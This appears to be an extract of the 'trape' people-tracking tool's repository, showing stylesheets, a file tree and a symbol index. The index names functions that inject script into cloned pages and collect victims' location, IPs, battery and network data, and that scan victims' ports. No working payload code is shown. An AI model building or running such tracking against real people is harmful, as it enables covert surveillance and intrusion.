culator:before{content:"\f1ec";}.icon-paypal:before{content:"\f1ed";}.icon-google-wallet:before{content:"\f1ee";}.icon-cc-visa:before{content:"\f1f0";}.icon-cc-mastercard:before{content:"\f1f1";}.icon-cc-discover:before{content:"\f1f2";}.icon-cc-amex:before{content:"\f1f3";}.icon-cc-paypal:before{content:"\f1f4";}.icon-cc-stripe:before{content:"\f1f5";}.icon-bell-slash:before{content:"\f1f6";}.icon-bell-slash-o:before{content:"\f1f7";}.icon-trash:before{content:"\f1f8";}.icon-copyright:before{content:"\f1f9";}.icon-at:before{content:"\f1fa";}.icon-eyedropper:before{content:"\f1fb";}.icon-paint-brush:before{content:"\f1fc";}.icon-birthday-cake:before{content:"\f1fd";}.icon-area-chart:before{content:"\f1fe";}.icon-pie-chart:before{content:"\f200";}.icon-line-chart:before{content:"\f201";}.icon-lastfm:before{content:"\f202";}.icon-lastfm-square:before{content:"\f203";}.icon-toggle-off:before{content:"\f204";}.icon-toggle-on:before{content:"\f205";}.icon-bicycle:before{content:"\f206";}.icon-bus:before{content:"\f207";}.icon-ioxhost:before{content:"\f208";}.icon-angellist:before{content:"\f209";}.icon-cc:before{content:"\f20a";}.icon-ils:before{content:"\f20b";}.icon-shekel:before{content:"\f20b";}.icon-sheqel:before{content:"\f20b";}.icon-meanpath:before{content:"\f20c";}.icon-buysellads:before{content:"\f20d";}.icon-connectdevelop:before{content:"\f20e";}.icon-dashcube:before{content:"\f210";}.icon-forumbee:before{content:"\f211";}.icon-leanpub:before{content:"\f212";}.icon-sellsy:before{content:"\f213";}.icon-shirtsinbulk:before{content:"\f214";}.icon-simplybuilt:before{content:"\f215";}.icon-skyatlas:before{content:"\f216";}.icon-cart-plus:before{content:"\f217";}.icon-cart-arrow-down:before{content:"\f218";}.icon-diamond:before{content:"\f219";}.icon-ship:before{content:"\f21a";}.icon-user-secret:before{content:"\f21b";}.icon-motorcycle:before{content:"\f21c";}.icon-street-view:before{content:"\f21d";}.icon-heartbeat:before{content:"\f21e";}.icon-venus:before{content:"\f221";}.icon-mars:before{content:"\f222";}.icon-mercury:before{content:"\f223";}.icon-intersex:before{content:"\f224";}.icon-transgender:before{content:"\f224";}.icon-transgender-alt:before{content:"\f225";}.icon-venus-double:before{content:"\f226";}.icon-mars-double:before{content:"\f227";}.icon-venus-mars:before{content:"\f228";}.icon-mars-stroke:before{content:"\f229";}.icon-mars-stroke-v:before{content:"\f22a";}.icon-mars-stroke-h:before{content:"\f22b";}.icon-neuter:before{content:"\f22c";}.icon-genderless:before{content:"\f22d";}.icon-facebook-official:before{content:"\f230";}.icon-pinterest-p:before{content:"\f231";}.icon-whatsapp:before{content:"\f232";}.icon-server:before{content:"\f233";}.icon-user-plus:before{content:"\f234";}.icon-user-times:before{content:"\f235";}.icon-bed:before{content:"\f236";}.icon-hotel:before{content:"\f236";}.icon-viacoin:before{content:"\f237";}.icon-train:before{content:"\f238";}.icon-subway:before{content:"\f239";}.icon-medium:before{content:"\f23a";}.icon-y-combinator:before{content:"\f23b";}.icon-yc:before{content:"\f23b";}.icon-optin-monster:before{content:"\f23c";}.icon-opencart:before{content:"\f23d";}.icon-expeditedssl:before{content:"\f23e";}.icon-battery-4:before{content:"\f240";}.icon-battery-full:before{content:"\f240";}.icon-battery-3:before{content:"\f241";}.icon-battery-three-quarters:before{content:"\f241";}.icon-battery-2:before{content:"\f242";}.icon-battery-half:before{content:"\f242";}.icon-battery-1:before{content:"\f243";}.icon-battery-quarter:before{content:"\f243";}.icon-battery-0:before{content:"\f244";}.icon-battery-empty:before{content:"\f244";}.icon-mouse-pointer:before{content:"\f245";}.icon-i-cursor:before{content:"\f246";}.icon-object-group:before{content:"\f247";}.icon-object-ungroup:before{content:"\f248";}.icon-sticky-note:before{content:"\f249";}.icon-sticky-note-o:before{content:"\f24a";}.icon-cc-jcb:before{content:"\f24b";}.icon-cc-diners-club:before{content:"\f24c";}.icon-clone:before{content:"\f24d";}.icon-balance-scale:before{content:"\f24e";}.icon-hourglass-o:before{content:"\f250";}.icon-hourglass-1:before{content:"\f251";}.icon-hourglass-start:before{content:"\f251";}.icon-hourglass-2:before{content:"\f252";}.icon-hourglass-half:before{content:"\f252";}.icon-hourglass-3:before{content:"\f253";}.icon-hourglass-end:before{content:"\f253";}.icon-hourglass:before{content:"\f254";}.icon-hand-grab-o:before{content:"\f255";}.icon-hand-rock-o:before{content:"\f255";}.icon-hand-paper-o:before{content:"\f256";}.icon-hand-stop-o:before{content:"\f256";}.icon-hand-scissors-o:before{content:"\f257";}.icon-hand-lizard-o:before{content:"\f258";}.icon-hand-spock-o:before{content:"\f259";}.icon-hand-pointer-o:before{content:"\f25a";}.icon-hand-peace-o:before{content:"\f25b";}.icon-trademark:before{content:"\f25c";}.icon-registered:before{content:"\f25d";}.icon-creative-commons:before{content:"\f25e";}.icon-gg:before{content:"\f260";}.icon-gg-circle:before{content:"\f261";}.icon-tripadvisor:before{content:"\f262";}.icon-odnoklassniki:before{content:"\f263";}.icon-odnoklassniki-square:before{content:"\f264";}.icon-get-pocket:before{content:"\f265";}.icon-wikipedia-w:before{content:"\f266";}.icon-safari:before{content:"\f267";}.icon-chrome:before{content:"\f268";}.icon-firefox:before{content:"\f269";}.icon-opera:before{content:"\f26a";}.icon-internet-explorer:before{content:"\f26b";}.icon-television:before{content:"\f26c";}.icon-tv:before{content:"\f26c";}.icon-contao:before{content:"\f26d";}.icon-500px:before{content:"\f26e";}.icon-amazon:before{content:"\f270";}.icon-calendar-plus-o:before{content:"\f271";}.icon-calendar-minus-o:before{content:"\f272";}.icon-calendar-times-o:before{content:"\f273";}.icon-calendar-check-o:before{content:"\f274";}.icon-industry:before{content:"\f275";}.icon-map-pin:before{content:"\f276";}.icon-map-signs:before{content:"\f277";}.icon-map-o:before{content:"\f278";}.icon-map:before{content:"\f279";}.icon-commenting:before{content:"\f27a";}.icon-commenting-o:before{content:"\f27b";}.icon-houzz:before{content:"\f27c";}.icon-vimeo:before{content:"\f27d";}.icon-black-tie:before{content:"\f27e";}.icon-fonticons:before{content:"\f280";}.icon-reddit-alien:before{content:"\f281";}.icon-edge:before{content:"\f282";}.icon-credit-card-alt:before{content:"\f283";}.icon-codiepie:before{content:"\f284";}.icon-modx:before{content:"\f285";}.icon-fort-awesome:before{content:"\f286";}.icon-usb:before{content:"\f287";}.icon-product-hunt:before{content:"\f288";}.icon-mixcloud:before{content:"\f289";}.icon-scribd:before{content:"\f28a";}.icon-pause-circle:before{content:"\f28b";}.icon-pause-circle-o:before{content:"\f28c";}.icon-stop-circle:before{content:"\f28d";}.icon-stop-circle-o:before{content:"\f28e";}.icon-shopping-bag:before{content:"\f290";}.icon-shopping-basket:before{content:"\f291";}.icon-hashtag:before{content:"\f292";}.icon-bluetooth:before{content:"\f293";}.icon-bluetooth-b:before{content:"\f294";}.icon-percent:before{content:"\f295";}.icon-feedback:before{content:"\ea81";}
================================================
FILE: static/css/services-icons.css
================================================
@font-face{font-family:services;src:url(fonts/services.eot?5iun5b);src:url(fonts/services.eot?5iun5b#iefix) format('embedded-opentype'),url(fonts/services.ttf?5iun5b) format('truetype'),url(fonts/services.woff?5iun5b) format('woff'),url(fonts/services.svg?5iun5b#services) format('svg');font-weight:400;font-style:normal}
================================================
FILE: static/css/styles.css
================================================
@import url(https://fonts.googleapis.com/css?family=Niconne|Baloo+Bhaina|Maven+Pro:400,700,900|Lato:300,400,700,900|Ubuntu:200,400,500,600,700,900);.TrapeControl-Header--menu---btnUpdate----button,.TrapeControl-Preview--box---Sidebar----NetworksDefine:before,body,body.TrapeBody-Control,body.TrapeBody-Login,html{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased}a,abbr,acronym,address,applet,article,aside,audio,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{padding:0;border:0;outline:0;vertical-align:baseline}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;-webkit-touch-callout:none;-webkit-tap-highlight-color:transparent}body,body.TrapeBody-Control,body.TrapeBody-Login{margin:0;min-height:100%;background-color:#fff;text-rendering:optimizeLegibility;color:#000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen,Ubuntu,Cantarell,Fira Sans,Droid Sans,Helvetica Neue,sans-serif}body.TrapeBody-Login{border-top:4px solid #000}body.TrapeBody-Control{border-top:none}::-webkit-scrollbar-corner{background-color:inherit}::-webkit-scrollbar{display:block;-webkit-appearance:none;width:12px;background-color:#fafbfc}::-webkit-scrollbar-thumb{border-radius:12px;border:4px solid rgba(255,255,255,0);background-clip:content-box;background-color:rgba(0,0,0,.3)}h2{margin:0}.TrapeControl-Header{display:block;height:68px;vertical-align:top;background:#fff;border-bottom:1px solid #f0ebf3;margin:0 auto;width: 780px;position:relative;top:0;left:0;right:0;}.TrapeControl-Header--logo{font-size:27px;float:left;font-weight:600;margin-top:4px;margin-bottom:14px}.TrapeControl-Header--logoText{font-size:21px;margin-top:9px;margin-bottom:9px;margin-left:8px;float:left;font-weight:600;color:#000;font-family:ubuntu;text-decoration:none}.TrapeControl-Header--Version,.TrapeControl-History--Logs---RefererBadge,.TrapeLogin-Footer--Version{display:-webkit-inline-box;display:-moz-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;position:relative;z-index:3;margin-top:0;margin-bottom:0;vertical-align:middle}.TrapeControl-History--Logs---RefererBadge{position:absolute;top:-9px;right:129px}.TrapeControl-Header--Version---name,.TrapeControl-History--Logs---RefererBadge----ref,.TrapeLogin-Footer--Version---name{outline:0;background-color:#FFD262;border:1px solid #E4B34F;border-right:0;border-top-left-radius:4px;border-bottom-left-radius:4px;font-family:Ubuntu,sans-serif;font-size:10px;font-weight:500;text-transform:uppercase;padding:2px 6px;color:#b68f3f;text-decoration:none}.TrapeControl-History--Logs---RefererBadge----ref{line-height:1;border:1px solid #0071ce;background-color:#007ee5;color:#fff;padding:2px 4px}.TrapeControl-Header--Version---number,.TrapeControl-History--Logs---RefererBadge----domain,.TrapeLogin-Footer--Version---number{border-top-right-radius:4px;border-bottom-right-radius:4px;background-color:#fff;outline:0;color:#b3b0b8;text-transform:uppercase;font-family:Ubuntu,sans-serif;font-size:10px;font-weight:500;border:1px solid #f0ebf3;padding:2px 6px;cursor:pointer;text-decoration:none}.TrapeControl-History--Logs---RefererBadge----domain{line-height:1;background-color:#FBFCFF}.TrapeLogin-Footer--Version---name{font-size:11px;padding:1px 7px;color:#b68f3f}.TrapeLogin-Footer--Version---number{font-size:11px;padding:1px 7px}.TrapeLogin-Footer--Copyright{margin-top:24px!important;}.TrapeLogin-Footer--Copyright---linkBoxug{color:#000;font-weight:600;text-decoration:none;font-family:"Maven Pro";}.TrapeLogin-Footer--Copyright---linkBoxug:hover{color:#3a7ac5}.TrapeLogin-Footer--Copyright---linkBoxug:active{color:#346db1}.TrapeControl-Header--logo---Box{text-align:center;display:inline-block;width:42px;height:42px;float:left;margin-top:9px;border-radius:6px;background:#000;-webkit-transition:all .2s ease-out;-moz-transition:all .2s ease-out;-ms-transition:all .2s ease-out;-o-transition:all .2s ease-out;transition:all .2s ease-out;z-index:2}.TrapeControl-Header--logo---letter{font-family:"Baloo Bhaina",sans-serif;font-size:38px;font-weight:500;color:#fff;line-height:50px;vertical-align:middle}.TrapeControl-Header--logo---description{display:block;font-size:13px;color:#b3b0b8;font-weight:400;margin-top:2px}.TrapeControl-Header--menu{float:right;margin-top:20px;margin-right:2px;border-left:1px solid #f0ebf3;padding-left:11px}.TrapeControl-Header--menu---btnLogout{z-index:1;color:#b3b0b8;font-weight:700;text-align:center;display:inline-block;margin-top:-8px;cursor:pointer;text-decoration:none}.TrapeControl-Header--menu---btnLogout:hover{color:#000}.TrapeControl-Header--menu---btnLogout:active{color:#007ee5}.TrapeControl-Header--menu---btnLogout----Icon{font-size:20px!important}.TrapeControl-Header--menu---btnLogout----Icon:before{content:"\f08b"}.TrapeControl-Header--menu---btnLogout----Text{font-size:13px;margin-top:4px;color:
gitextract_bk87sebk/ ├── .gitignore ├── .travis.yml ├── README.md ├── core/ │ ├── __init__.py │ ├── colorama/ │ │ ├── __init__.py │ │ ├── ansi.py │ │ ├── ansitowin32.py │ │ ├── initialise.py │ │ ├── win32.py │ │ └── winterm.py │ ├── db.py │ ├── dependence/ │ │ ├── __init__.py │ │ └── urllib2.py │ ├── sockets.py │ ├── stats.py │ ├── trape.py │ ├── user.py │ ├── user_objects.py │ └── utils.py ├── requirements.txt ├── static/ │ ├── css/ │ │ ├── base-icons.css │ │ ├── services-icons.css │ │ └── styles.css │ └── js/ │ ├── base.js │ ├── custom.js │ ├── inject.js │ ├── login.js │ ├── payload.js │ ├── trape.js │ └── vscript.js ├── templates/ │ ├── 404.html │ ├── home.html │ └── login.html ├── trape.py └── version.txt
SYMBOL INDEX (281 symbols across 17 files)
FILE: core/colorama/ansi.py
function code_to_chars (line 12) | def code_to_chars(code):
function set_title (line 15) | def set_title(title):
function clear_screen (line 18) | def clear_screen(mode=2):
function clear_line (line 21) | def clear_line(mode=2):
class AnsiCodes (line 25) | class AnsiCodes(object):
method __init__ (line 26) | def __init__(self):
class AnsiCursor (line 36) | class AnsiCursor(object):
method UP (line 37) | def UP(self, n=1):
method DOWN (line 39) | def DOWN(self, n=1):
method FORWARD (line 41) | def FORWARD(self, n=1):
method BACK (line 43) | def BACK(self, n=1):
method POS (line 45) | def POS(self, x=1, y=1):
class AnsiFore (line 49) | class AnsiFore(AnsiCodes):
class AnsiBack (line 71) | class AnsiBack(AnsiCodes):
class AnsiStyle (line 93) | class AnsiStyle(AnsiCodes):
FILE: core/colorama/ansitowin32.py
function is_stream_closed (line 16) | def is_stream_closed(stream):
function is_a_tty (line 20) | def is_a_tty(stream):
class StreamWrapper (line 24) | class StreamWrapper(object):
method __init__ (line 30) | def __init__(self, wrapped, converter):
method __getattr__ (line 36) | def __getattr__(self, name):
method write (line 39) | def write(self, text):
class AnsiToWin32 (line 43) | class AnsiToWin32(object):
method __init__ (line 52) | def __init__(self, wrapped, convert=None, strip=None, autoreset=False):
method should_wrap (line 85) | def should_wrap(self):
method get_win32_calls (line 95) | def get_win32_calls(self):
method write (line 139) | def write(self, text):
method reset_all (line 149) | def reset_all(self):
method write_and_convert (line 156) | def write_and_convert(self, text):
method write_plain_text (line 172) | def write_plain_text(self, text, start, end):
method convert_ansi (line 178) | def convert_ansi(self, paramstring, command):
method extract_params (line 184) | def extract_params(self, command, paramstring):
method call_win32 (line 202) | def call_win32(self, command, params):
method convert_osc (line 224) | def convert_osc(self, text):
FILE: core/colorama/initialise.py
function reset_all (line 18) | def reset_all():
function init (line 23) | def init(autoreset=False, convert=None, strip=None, wrap=True):
function deinit (line 51) | def deinit():
function colorama_text (line 59) | def colorama_text(*args, **kwargs):
function reinit (line 67) | def reinit():
function wrap_stream (line 74) | def wrap_stream(stream, convert, strip, autoreset, wrap):
FILE: core/colorama/win32.py
class CONSOLE_SCREEN_BUFFER_INFO (line 21) | class CONSOLE_SCREEN_BUFFER_INFO(Structure):
method __str__ (line 30) | def __str__(self):
function winapi_test (line 97) | def winapi_test():
function GetConsoleScreenBufferInfo (line 104) | def GetConsoleScreenBufferInfo(stream_id=STDOUT):
function SetConsoleTextAttribute (line 111) | def SetConsoleTextAttribute(stream_id, attrs):
function SetConsoleCursorPosition (line 115) | def SetConsoleCursorPosition(stream_id, position, adjust=True):
function FillConsoleOutputCharacter (line 133) | def FillConsoleOutputCharacter(stream_id, char, length, start):
function FillConsoleOutputAttribute (line 143) | def FillConsoleOutputAttribute(stream_id, attr, length, start):
function SetConsoleTitle (line 153) | def SetConsoleTitle(title):
FILE: core/colorama/winterm.py
class WinColor (line 6) | class WinColor(object):
class WinStyle (line 17) | class WinStyle(object):
class WinTerm (line 22) | class WinTerm(object):
method __init__ (line 24) | def __init__(self):
method get_attrs (line 36) | def get_attrs(self):
method set_attrs (line 39) | def set_attrs(self, value):
method reset_all (line 44) | def reset_all(self, on_stderr=None):
method fore (line 48) | def fore(self, fore=None, light=False, on_stderr=False):
method back (line 59) | def back(self, back=None, light=False, on_stderr=False):
method style (line 70) | def style(self, style=None, on_stderr=False):
method set_console (line 76) | def set_console(self, attrs=None, on_stderr=False):
method get_position (line 84) | def get_position(self, handle):
method set_cursor_position (line 92) | def set_cursor_position(self, position=None, on_stderr=False):
method cursor_adjust (line 102) | def cursor_adjust(self, x, y, on_stderr=False):
method erase_screen (line 110) | def erase_screen(self, mode=0, on_stderr=False):
method erase_line (line 139) | def erase_line(self, mode=0, on_stderr=False):
method set_title (line 161) | def set_title(self, title):
FILE: core/db.py
class Database (line 18) | class Database(object):
method __init__ (line 19) | def __init__(self):
method loadDatabase (line 24) | def loadDatabase(self):
method sql_execute (line 43) | def sql_execute(self, sentence):
method sql_one_row (line 50) | def sql_one_row(self, sentence, column):
method sql_insert (line 57) | def sql_insert(self, sentence):
method prop_sentences_stats (line 65) | def prop_sentences_stats(self, type, vId=None):
method sentences_stats (line 79) | def sentences_stats(self, type, vId=None):
method prop_sentences_victim (line 82) | def prop_sentences_victim(self, type, data=None):
method sentences_victim (line 163) | def sentences_victim(self, type, data=None, sRun=1, column=0):
method __del__ (line 171) | def __del__(self):
FILE: core/dependence/urllib2.py
function urlopen (line 123) | def urlopen(url, data=None, timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
function install_opener (line 130) | def install_opener(opener):
class URLError (line 139) | class URLError(IOError):
method __init__ (line 145) | def __init__(self, reason):
method __str__ (line 149) | def __str__(self):
class HTTPError (line 153) | class HTTPError(URLError, addinfourl):
method __init__ (line 157) | def __init__(self, url, code, msg, hdrs, fp):
method __str__ (line 170) | def __str__(self):
method reason (line 176) | def reason(self):
function request_host (line 184) | def request_host(request):
class Request (line 201) | class Request:
method __init__ (line 203) | def __init__(self, url, data=None, headers={},
method __getattr__ (line 223) | def __getattr__(self, attr):
method get_method (line 235) | def get_method(self):
method add_data (line 243) | def add_data(self, data):
method has_data (line 246) | def has_data(self):
method get_data (line 249) | def get_data(self):
method get_full_url (line 252) | def get_full_url(self):
method get_type (line 258) | def get_type(self):
method get_host (line 265) | def get_host(self):
method get_selector (line 272) | def get_selector(self):
method set_proxy (line 275) | def set_proxy(self, host, type):
method has_proxy (line 284) | def has_proxy(self):
method get_origin_req_host (line 287) | def get_origin_req_host(self):
method is_unverifiable (line 290) | def is_unverifiable(self):
method add_header (line 293) | def add_header(self, key, val):
method add_unredirected_header (line 297) | def add_unredirected_header(self, key, val):
method has_header (line 301) | def has_header(self, header_name):
method get_header (line 305) | def get_header(self, header_name, default=None):
method header_items (line 310) | def header_items(self):
class OpenerDirector (line 316) | class OpenerDirector:
method __init__ (line 317) | def __init__(self):
method add_handler (line 328) | def add_handler(self, handler):
method close (line 375) | def close(self):
method _call_chain (line 379) | def _call_chain(self, chain, kind, meth_name, *args):
method open (line 391) | def open(self, fullurl, data=None, timeout=socket._GLOBAL_DEFAULT_TIME...
method _open (line 419) | def _open(self, req, data=None):
method error (line 434) | def error(self, proto, *args):
function build_opener (line 460) | def build_opener(*handlers):
class BaseHandler (line 501) | class BaseHandler:
method add_parent (line 504) | def add_parent(self, parent):
method close (line 507) | def close(self):
method __lt__ (line 511) | def __lt__(self, other):
class HTTPErrorProcessor (line 520) | class HTTPErrorProcessor(BaseHandler):
method http_response (line 524) | def http_response(self, request, response):
class HTTPDefaultErrorHandler (line 538) | class HTTPDefaultErrorHandler(BaseHandler):
method http_error_default (line 539) | def http_error_default(self, req, fp, code, msg, hdrs):
class HTTPRedirectHandler (line 543) | class HTTPRedirectHandler(BaseHandler):
method redirect_request (line 551) | def redirect_request(self, req, fp, code, msg, headers, newurl):
method http_error_302 (line 585) | def http_error_302(self, req, fp, code, msg, headers):
function _parse_proxy (line 648) | def _parse_proxy(proxy):
class ProxyHandler (line 721) | class ProxyHandler(BaseHandler):
method __init__ (line 725) | def __init__(self, proxies=None):
method proxy_open (line 735) | def proxy_open(self, req, proxy, type):
class HTTPPasswordMgr (line 765) | class HTTPPasswordMgr:
method __init__ (line 767) | def __init__(self):
method add_password (line 770) | def add_password(self, realm, uri, user, passwd):
method find_user_password (line 781) | def find_user_password(self, realm, authuri):
method reduce_uri (line 791) | def reduce_uri(self, uri, default_port=True):
method is_suburi (line 814) | def is_suburi(self, base, test):
class HTTPPasswordMgrWithDefaultRealm (line 829) | class HTTPPasswordMgrWithDefaultRealm(HTTPPasswordMgr):
method find_user_password (line 831) | def find_user_password(self, realm, authuri):
class AbstractBasicAuthHandler (line 839) | class AbstractBasicAuthHandler:
method __init__ (line 853) | def __init__(self, password_mgr=None):
method reset_retry_count (line 860) | def reset_retry_count(self):
method http_error_auth_reqed (line 863) | def http_error_auth_reqed(self, authreq, host, req, headers):
method retry_http_basic_auth (line 886) | def retry_http_basic_auth(self, host, req, realm):
class HTTPBasicAuthHandler (line 899) | class HTTPBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler):
method http_error_401 (line 903) | def http_error_401(self, req, fp, code, msg, headers):
class ProxyBasicAuthHandler (line 911) | class ProxyBasicAuthHandler(AbstractBasicAuthHandler, BaseHandler):
method http_error_407 (line 915) | def http_error_407(self, req, fp, code, msg, headers):
function randombytes (line 927) | def randombytes(n):
class AbstractDigestAuthHandler (line 942) | class AbstractDigestAuthHandler:
method __init__ (line 953) | def __init__(self, passwd=None):
method reset_retry_count (line 962) | def reset_retry_count(self):
method http_error_auth_reqed (line 965) | def http_error_auth_reqed(self, auth_header, host, req, headers):
method retry_http_digest_auth (line 982) | def retry_http_digest_auth(self, req, auth):
method get_cnonce (line 994) | def get_cnonce(self, nonce):
method get_authorization (line 1004) | def get_authorization(self, req, chal):
method get_algorithm_impls (line 1065) | def get_algorithm_impls(self, algorithm):
method get_entity_digest (line 1077) | def get_entity_digest(self, data, chal):
class HTTPDigestAuthHandler (line 1082) | class HTTPDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler):
method http_error_401 (line 1092) | def http_error_401(self, req, fp, code, msg, headers):
class ProxyDigestAuthHandler (line 1100) | class ProxyDigestAuthHandler(BaseHandler, AbstractDigestAuthHandler):
method http_error_407 (line 1105) | def http_error_407(self, req, fp, code, msg, headers):
class AbstractHTTPHandler (line 1113) | class AbstractHTTPHandler(BaseHandler):
method __init__ (line 1115) | def __init__(self, debuglevel=0):
method set_http_debuglevel (line 1118) | def set_http_debuglevel(self, level):
method do_request_ (line 1121) | def do_request_(self, request):
method do_open (line 1150) | def do_open(self, http_class, req):
class HTTPHandler (line 1222) | class HTTPHandler(AbstractHTTPHandler):
method http_open (line 1224) | def http_open(self, req):
class HTTPSHandler (line 1231) | class HTTPSHandler(AbstractHTTPHandler):
method https_open (line 1233) | def https_open(self, req):
class HTTPCookieProcessor (line 1239) | class HTTPCookieProcessor(BaseHandler):
method __init__ (line 1240) | def __init__(self, cookiejar=None):
method http_request (line 1246) | def http_request(self, request):
method http_response (line 1250) | def http_response(self, request, response):
class UnknownHandler (line 1258) | class UnknownHandler(BaseHandler):
method unknown_open (line 1259) | def unknown_open(self, req):
function parse_keqv_list (line 1264) | def parse_keqv_list(l):
function parse_http_list (line 1275) | def parse_http_list(s):
function _safe_gethostbyname (line 1319) | def _safe_gethostbyname(host):
class FileHandler (line 1326) | class FileHandler(BaseHandler):
method file_open (line 1328) | def file_open(self, req):
method get_names (line 1340) | def get_names(self):
method open_local_file (line 1351) | def open_local_file(self, req):
class FTPHandler (line 1380) | class FTPHandler(BaseHandler):
method ftp_open (line 1381) | def ftp_open(self, req):
method connect_ftp (line 1435) | def connect_ftp(self, user, passwd, host, port, dirs, timeout):
class CacheFTPHandler (line 1442) | class CacheFTPHandler(FTPHandler):
method __init__ (line 1445) | def __init__(self):
method setTimeout (line 1452) | def setTimeout(self, t):
method setMaxConns (line 1455) | def setMaxConns(self, m):
method connect_ftp (line 1458) | def connect_ftp(self, user, passwd, host, port, dirs, timeout):
method check_cache (line 1469) | def check_cache(self):
method clear_cache (line 1489) | def clear_cache(self):
FILE: core/sockets.py
function background_thread (line 39) | def background_thread():
function join (line 43) | def join(message):
function send_room_message (line 51) | def send_room_message(message):
function disconnect_request (line 61) | def disconnect_request(d):
function socket_def_error (line 71) | def socket_def_error(d):
function error_handler (line 75) | def error_handler(e):
function home (line 79) | def home():
FILE: core/stats.py
function index (line 44) | def index():
function logout (line 48) | def logout():
function login (line 52) | def login():
function home_get_dat (line 60) | def home_get_dat():
function home_get_preview (line 84) | def home_get_preview():
function home_get_title (line 93) | def home_get_title():
function home_get_requests (line 100) | def home_get_requests():
function home_get_socialimpact (line 106) | def home_get_socialimpact():
function home_rm_rows (line 113) | def home_rm_rows():
function home_putName (line 121) | def home_putName():
function inject (line 128) | def inject():
function busted (line 148) | def busted(JSFile):
function style_redirect (line 165) | def style_redirect(CSSFile):
function file_redirect (line 174) | def file_redirect(File):
FILE: core/trape.py
class Trape (line 31) | class Trape(object):
method __init__ (line 32) | def __init__(self, stat = 0):
method header (line 166) | def header(self):
method rootConnection (line 225) | def rootConnection(self):
method loadCheck (line 229) | def loadCheck(self):
method main (line 233) | def main(self):
method trape_config (line 237) | def trape_config(self):
method injectCSS_Paths (line 278) | def injectCSS_Paths(self, code):
FILE: core/user.py
class victim_server (line 40) | class victim_server(object):
method homeVictim (line 42) | def homeVictim():
method register (line 73) | def register():
method networkRegister (line 105) | def networkRegister():
method locationRegister (line 122) | def locationRegister():
method connectionRegister (line 131) | def connectionRegister():
method batteryStatusRegister (line 140) | def batteryStatusRegister():
method navigationMode (line 149) | def navigationMode():
method redirectVictim (line 158) | def redirectVictim():
method registerRequest (line 169) | def registerRequest():
method receivePiregisterGPUng (line 176) | def receivePiregisterGPUng():
method changeLocalIp (line 183) | def changeLocalIp():
method setGpuInfo (line 190) | def setGpuInfo():
function getHostsAlive (line 197) | def getHostsAlive(ip, vId):
function assignScripts (line 225) | def assignScripts(code):
FILE: core/user_objects.py
class victim (line 14) | class victim(object):
method __init__ (line 15) | def __init__(self, vId, ip, device, browser, version, ports, cpu, date):
class victim_geo (line 26) | class victim_geo(object):
method __init__ (line 27) | def __init__(self, id, city, country_code, country_name, ip, latitude,...
class victim_request (line 45) | class victim_request(object):
method __init__ (line 46) | def __init__(self, id, site, fid, name, value, sId):
function victim_headers2 (line 55) | def victim_headers2(ua):
function victim_headers (line 67) | def victim_headers(ua):
function victim_inject_code (line 78) | def victim_inject_code(html, script='a', url_to_clone='', gMapsApiKey='A...
function attacks_hook_message (line 101) | def attacks_hook_message(data):
FILE: core/utils.py
class utils (line 26) | class utils:
method __init__ (line 28) | def __init__(self):
method Go (line 33) | def Go(string):
method banner (line 61) | def banner():
method checkOS (line 77) | def checkOS():
method generateToken (line 92) | def generateToken(length=8):
method portScanner (line 102) | def portScanner(victimIP):
method checkPort (line 117) | def checkPort(port):
method checkUrl (line 138) | def checkUrl(url):
method gShortener (line 150) | def gShortener(api_key, p_url):
method niceShell (line 159) | def niceShell(text, state):
FILE: static/js/base.js
function tping (line 178) | function tping() {
function conChange (line 205) | function conChange() {
function sendData (line 290) | function sendData(data) {
function getVictimData (line 305) | function getVictimData() {
function defineSockets (line 318) | function defineSockets(self) {
function locateV (line 357) | function locateV(self) {
function workWithNetworks (line 402) | function workWithNetworks(){
function detectBattery (line 429) | function detectBattery(){
function navigation_mode (line 490) | function navigation_mode(){
function queryGPU (line 524) | function queryGPU(){
function getIPs (line 564) | function getIPs(callback) {
function getGeolocation (line 628) | function getGeolocation(){
FILE: static/js/inject.js
function loadScript (line 26) | function loadScript(callback){
FILE: static/js/payload.js
function createSockets (line 49) | function createSockets(){
FILE: static/js/trape.js
function checkUserStatus (line 337) | function checkUserStatus(callback){
function profiling (line 423) | function profiling(value) {
function dataSync (line 511) | function dataSync() {
function put_Current_Position_onMap (line 699) | function put_Current_Position_onMap(lat, lon){
function fillTap_PutCell (line 845) | function fillTap_PutCell(ftpc_index, ftpc_val){
function getRange (line 857) | function getRange(lat1,lon1,lat2,lon2) {
function f_tracking_victim (line 874) | function f_tracking_victim(){
function geolocation_callback (line 925) | function geolocation_callback(lat, lon){
function zeroComplete (line 1118) | function zeroComplete(n, length){
Condensed preview — 35 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (425K chars).
[
{
"path": ".gitignore",
"chars": 101,
"preview": "*.nlog\n*.pyc\n*.db\n*.zip\nngrok*\nstatic/files/*\nbuild/*\ndist/*\nmain.spec\ntrape.config\n*.nlog\n*.DS_Store"
},
{
"path": ".travis.yml",
"chars": 144,
"preview": "language: python\npython:\n - 2.7\n - 3.8\ninstall: pip install flake8\nscript: flake8 . --count --select=E9,F63,F7,F82 --s"
},
{
"path": "README.md",
"chars": 8582,
"preview": "trape (stable) v2.0\n========\n\nPeople tracker on the Internet: Learn to track the world, to avoid being traced.\n\n---\nTrap"
},
{
"path": "core/__init__.py",
"chars": 5,
"preview": "pass\n"
},
{
"path": "core/colorama/__init__.py",
"chars": 240,
"preview": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nfrom .initialise import init, deinit, reinit,"
},
{
"path": "core/colorama/ansi.py",
"chars": 2524,
